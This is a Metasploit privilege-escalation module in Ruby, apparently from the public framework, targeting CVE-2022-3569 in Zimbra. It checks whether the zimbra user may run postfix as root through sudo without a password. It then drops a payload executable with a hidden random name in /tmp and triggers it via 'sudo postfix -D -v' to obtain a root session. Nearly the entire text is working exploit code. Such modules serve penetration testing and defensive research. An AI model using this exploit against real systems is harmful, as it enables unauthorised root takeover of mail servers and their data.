Zimbra Privilege Escalation

### This module requires Metasploit: https://metasploit.com/download# Current source: https://github.com/rapid7/metasploit-framework##class MetasploitModule < Msf::Exploit::Local  Rank = ExcellentRanking  prepend Msf::Exploit::Remote::AutoCheck  include Msf::Post::Linux::Priv  include Msf::Post::File  include Msf::Exploit::EXE  include Msf::Exploit::FileDropper  def initialize(info = {})    super(      update_info(        info,        'Name' => 'Zimbra sudo + postfix privilege escalation',        'Description' => %q{          This module exploits a vulnerable sudo configuration that permits the          zimbra user to execute postfix as root. In turn, postfix can execute          arbitrary shellscripts, which means it can execute a root shell.        },        'License' => MSF_LICENSE,        'Author' => [          'EvergreenCartoons', # discovery and poc          'Ron Bowes',         # Module        ],        'DisclosureDate' => '2022-10-13',        'Platform' => [ 'linux' ],        'Arch' => [ ARCH_X86, ARCH_X64 ],        'SessionTypes' => [ 'shell', 'meterpreter' ],        'Privileged' => true,        'References' => [          [ 'CVE', '2022-3569' ],          [ 'URL', 'https://twitter.com/ldsopreload/status/1580539318879547392' ],        ],        'Targets' => [          [ 'Auto', {} ],        ],        'DefaultTarget' => 0,        'Notes' => {          'Reliability' => [ REPEATABLE_SESSION ],          'Stability' => [ CRASH_SAFE ],          'SideEffects' => [ IOC_IN_LOGS ]        }      )    )    register_options [      OptString.new('SUDO_PATH', [ true, 'Path to sudo executable', 'sudo' ]),      OptString.new('ZIMBRA_BASE', [ true, "Zimbra's installation directory", '/opt/zimbra' ]),    ]    register_advanced_options [      OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ]),      OptString.new('PayloadFilename', [ false, 'The name to use for the executable (default: ".<random>"' ])    ]  end  # Because this isn't patched, I can't say with 100% certainty that this will  # detect a future patch (it depends on how they patch it)  def check    # Sanity check    if is_root?      fail_with(Failure::None, 'Session already has root privileges')    end    unless file_exist?("#{datastore['ZIMBRA_BASE']}/common/sbin/postfix")      print_error("postfix executable not detected: #{datastore['ZIMBRA_BASE']}/common/sbin/postfix (set ZIMBRA_BASE if Zimbra is installed in an unusual location)")      return CheckCode::Safe    end    unless command_exists?(datastore['SUDO_PATH'])      print_error("Could not find sudo: #{datastore['SUDOPATH']} (set SUDO_PATH if sudo isn't in $PATH)")      return CheckCode::Safe    end    # Run `sudo -n -l` to make sure we have access to the target command    cmd = "#{datastore['SUDO_PATH']} -n -l"    print_status "Executing: #{cmd}"    output = cmd_exec(cmd).to_s    if !output || output.start_with?('usage:') || output.include?('illegal option') || output.include?('a password is required')      print_error('Current user could not execute sudo -l')      return CheckCode::Safe    end    if !output.include?("(root) NOPASSWD: #{datastore['ZIMBRA_BASE']}/common/sbin/postfix")      print_error('Current user does not have access to run postfix')      return CheckCode::Safe    end    CheckCode::Appears  end  def exploit    base_dir = datastore['WritableDir'].to_s    unless writable?(base_dir)      fail_with(Failure::BadConfig, "#{base_dir} is not writable")    end    # Generate some filenames    payload_path = File.join(base_dir, datastore['PayloadFilename'] || ".#{rand_text_alphanumeric(5..10)}")    upload_and_chmodx(payload_path, generate_payload_exe)    register_file_for_cleanup(payload_path)    cmd = "sudo #{datastore['ZIMBRA_BASE']}/common/sbin/postfix -D -v #{payload_path}"    print_status "Attempting to trigger payload: #{cmd}"    out = cmd_exec(cmd)    unless session_created?      print_error("Failed to create session! Cmd output = #{out}")    end  endend